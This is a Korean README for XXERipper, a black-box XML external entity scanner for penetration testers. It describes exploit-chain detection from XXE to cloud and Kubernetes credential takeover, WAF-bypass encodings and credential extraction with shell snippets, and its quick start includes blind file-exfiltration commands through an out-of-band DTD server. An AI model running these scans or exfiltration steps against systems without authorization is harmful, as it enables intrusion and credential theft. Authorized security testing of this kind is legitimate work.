
블랙박스 XXE 스캐너로, 통계적 베이스라이닝, 파서 핑거프린팅, OOB 확인을 통해 인밴드, 에러 기반, 블라인드 아웃오브밴드 주입을 탐지하며 SARIF 출력을 지원합니다.
보안 전문가를 위한 독립 실행형 블랙박스 XML 외부 엔티티(XXE) 스캐너.
XXERipper는 30개 이상의 공격 기법군에 걸쳐 인밴드(in-band), 오류 기반(error-based), 블라인드 아웃오브밴드(out-of-band) XXE를 탐지합니다. 통계적 베이스라이닝, 차등 파서 핑거프린팅, interactsh-client를 통한 아웃오브밴드 확인(수동 또는 자동), 브라우저 기반 콘솔, WAF 우회 인코딩, 종단 간 익스플로잇 체인 탐지, 붙여넣기 가능한 셸 스니펫을 포함한 자격 증명 추출, CWE 매핑 결과, 그리고 CI/CD 및 보고를 위한 JSON / SARIF / HTML 출력을 결합합니다.
XXERipper는 XML 외부 엔티티 인젝션을 위한 자체 완결형 CLI 및 브라우저 콘솔 스캐너로, 잘못 테스트하기는 쉽고 제대로 테스트하기는 어려운 취약점 클래스를 정확하고 낮은 오탐률로 탐지해야 하는 침투 테스터, 버그 바운티 헌터, 보안 연구자를 위해 설계되었습니다.
의도적으로 최소한의 의존성 — httpx와 (콘솔용) flask, 그 외에는 아무것도 — 을 사용하며 종단 간 감사가 가능합니다. 모든 단계를 추적할 수 있고, 모든 발견에는 증거 추적이 따르며, 건너뛴 모든 기법은 이유와 함께 보고되고, 추출된 모든 파일이나 자격 증명은 중복 제거되어 붙여넣기 가능한 익스플로잇 스니펫과 함께 저장됩니다.
XXERipper는 엔티티 해석 프리미티브 자체를 넘어서 대상를 익스플로잇하지 않습니다. 파서가 외부 엔티티를 해석하는지, 그 결과를 인밴드로, 파서 오류를 통해, 또는 아웃오브밴드로 관찰할 수 있는지를 판단하고, 그 판단을 신뢰도 점수, CWE 매핑, 그리고 전체 체인이 완료되었을 때는 종단 간 영향을 명시하는 롤업 발견과 함께 보고합니다.
ChainTracker가 모든 발견을 관찰하고, ID + 증거로부터 체인 단계를 도출하며, 템플릿이 완성되면 롤업 발견을 발생시킵니다 — XXE → IMDS → IAM 자격 증명 → AWS 계정 탈취, XXE → SSH 개인 키 → 측면 이동, XXE → Kubernetes 시크릿 → 클러스터 자격 증명 탈취, 그리고 열 가지 더.aws sts get-caller-identity, aliyun sts GetCallerIdentity, ssh -i …, gcloud auth activate-service-account, kubectl --token=…, curl -H 'Authorization: Bearer …' — 을 함께 제공하며, 해당되는 경우 토큰의 실제 클레임으로 구성됩니다.interactsh-client를 통한 아웃오브밴드 확인. 두 가지 모드: 수동 (스캐너가 모든 서브도메인을 출력하고, 사용자가 클라이언트를 관찰) 및 자동 (--oob-auto가 interactsh-client를 실행하고 콜백을 프로세스 내에서 상관 분석). 두 모드 모두 페이로드마다 고유한 16-hex 토큰을 삽입하므로 콜백이 잘못 귀속될 수 없습니다.--oob-listen), 자체 웹 서버가 제공하는 디렉터리(--oob-dtd-dir), 또는 WebUI 자체의 Flask 라우트(드로어에서 Serve DTDs from this WebUI 체크).jar://, data://, phar://, glob://, compress.zlib://.XXE-OFFICE-XSLT-{DOCX,XLSX}) — Word 또는 Excel 파트 내부의 xml-stylesheet PI가 서버 측 문서 프로세서로 하여금 공격자가 제어하는 XSLT를 가져오게 합니다.jackson-dataformat-xml이 있는 Spring MVC를 잡아내며, 이는 모든 @RequestBody 엔드포인트에서 application/xml을 조용히 수용합니다.--bypass-waf) — 세 계열에 걸친 열다섯 개 인코더를 통해 전체 페이로드 카탈로그를 재전송합니다. 핵심 단계 이후에 실행되므로 직접적인 적중은 약 1,500개의 인코딩된 페이로드 뒤에 묻히지 않고 약 20개 요청에서 발견됩니다.--serve) — 라이브 이벤트 스트리밍, 명령 팔레트, 키보드 기반 내비게이션, 작업별 JSON / SARIF / HTML 다운로드, 그리고 보고서를 다운로드하는 대신 인라인으로 여는 별도의 View HTML 버튼을 갖춘 브라우저 기반 워크벤치. 제로 의존성 프런트엔드: CDN 없는 자체 완결형 HTML 파일 하나.--pre-auth-request FILE이 Burp 형식 요청을 재생하고 스캔 시작 전에 해당 Set-Cookie를 병합하므로, 쿠키 파일 없이도 다단계 인증 흐름이 작동합니다.pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support
기본 설치에는 `httpx[http2]`(ALPN을 통해 HTTP/2 협상이 활성화됨)와 `Flask`(`--serve` 웹 콘솔에서 사용됨)가 포함됩니다.
SOCKS 프록시 지원은 유일한 선택적 추가 기능입니다. HTTP/2는 선택적 기능이 아니라 필수 기능이며, 기본 의존성 목록에 `httpx[http2]`로 포함되어 있습니다. `xxeripper[http2]` 추가 기능은 순전히 사용자 습관을 위해 제공되며, 이를 설치하는 것은 기본 패키지를 설치하는 것과 동일합니다.
### 배포 패키지```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm # Fedora / RHEL
git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"
### 요구 사항
- **Python 3.9부터 3.14까지.**
- **`httpx[http2]` ≥ 0.27, < 0.29** — HTTP 클라이언트. HTTP/2 지원은
`httpx`의 `[http2]` 추가 기능을 통해 포함되며, 이는 `h2`
의존성을 함께 가져옵니다. 스캐너는 TLS 핸드셰이크에서 ALPN을 통해
HTTP/2를 협상하고, 서버가 이를 지원하지 않는 경우 조용히
HTTP/1.1로 폴백합니다.
- **`Flask` ≥ 3.0, < 4.0** — `--serve` 웹 콘솔에서 사용됩니다. 이는
선택적 의존성이 아닌 주요 의존성입니다. 콘솔은 일급 인터페이스이며,
`xxeripper --serve`는 [빠른 시작](#quick-start) 및
[웹 콘솔](#web-console)에 문서화되어 있습니다.
- **선택 사항:** SOCKS 프록시용 `PySocks` ≥ 1.7.1
(`xxeripper[socks]`).
- **선택 사항:** 자동 OOB 확인(`--oob-auto`)을 위한 `PATH` 내
`interactsh-client`. 수동 OOB 모드(`--oob-domain`)는 외부
의존성이 없습니다 — 별도 터미널에서 직접 `interactsh-client`를
실행합니다.
휠에는 단일 파일 `xxeripper.py`가 포함되어 있습니다. 패키지
디렉터리도, 컴파일된 확장도, 설치 시 빌드 단계도 없습니다.
CLI 진입점은 `xxeripper = "xxeripper:main"`으로 선언되어 있으므로,
`pip install xxeripper`는 `PATH`에 `xxeripper` 실행 파일을
배치합니다.
### 선택적 추가 기능
| 추가 기능 | 가져오는 항목 | 설치 시기 |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | `socks5h://`를 통한 Tor를 포함하여 SOCKS5 프록시를 통해 스캔할 때 |
| `xxeripper[http2]` | *(새로운 항목 없음)* | 엄격히 필요하지 않음 — 기본 설치에 이미 `httpx[http2]`가 포함되어 있음. 사용자 습관을 위해 제공됨 |
`[webui]` 추가 기능은 없습니다 — Flask는 주요 의존성이며,
콘솔은 모든 기본 설치에서 즉시 작동합니다.
---
## 빠른 시작```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml
# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
# 5. Or skip the two-terminal dance: let the scanner spawn and drive
# interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto
# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
--oob-auto --oob-listen 0.0.0.0:8888 \
--oob-public-url http://your-public-ip:8888